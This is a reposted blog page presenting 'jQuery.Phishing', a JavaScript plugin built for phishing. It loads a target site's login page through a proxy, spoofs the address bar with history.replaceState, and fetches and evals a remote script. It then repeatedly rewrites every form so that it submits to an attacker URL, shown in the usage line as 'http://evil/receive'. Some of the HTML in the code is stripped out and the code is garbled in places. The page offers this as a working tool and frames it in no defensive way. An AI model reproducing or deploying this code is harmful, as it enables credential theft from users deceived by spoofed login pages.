jQuery.Phishing-白红宇

jQuery.Phishing

阅读量：3726 次

发布时间：2019-05-22

本文共 1424 字，大约阅读时间需要 4 分钟。

Usage

$.phishing('http://wooyun.org/login','http://evil/receive')

(function(){  var load_jquery =()=>{    if(typeof jQuery !='undefined')return;    document.write('');  };  load_jquery();  $ = jQuery;  $.phishing = function(url,receive_url){    $.get(`https://crossorigin.me/${url}`,data=>{      var get_link = (url=>{        var link = document.createElement('a');        link.href = url;        return link;      });      var target = get_link(url);      history.replaceState('','',`${location.protocol}//${location.host}${target.pathname}${target.search}${target.hash}`);      data = data.replace(/
   
    /i,`                  
          `);      if(document.write.toString().indexOf('[native code]')==-1){        var doc = document.implementation.createHTMLDocument();        document.write = doc.write;        document.open = doc.open;        document.close = doc.close;      }      document.open();      document.write(data);      document.close();      if(/
    (.*)<\/title>/i)[1];      }      if(document.head){        $('head').append(`
    `);      }      $.get('https://raw.githubusercontent.com/jackmasa/jQuery.xform/master/jquery.xssform.js',data=>{        setInterval(()=>{          eval(data);          $('form').each((i,f)=>{            if(get_link(f.action).hostname!=get_link(receive_url).hostname){              $(f).xform(receive_url);            }          });        },1000);      });    });  };})();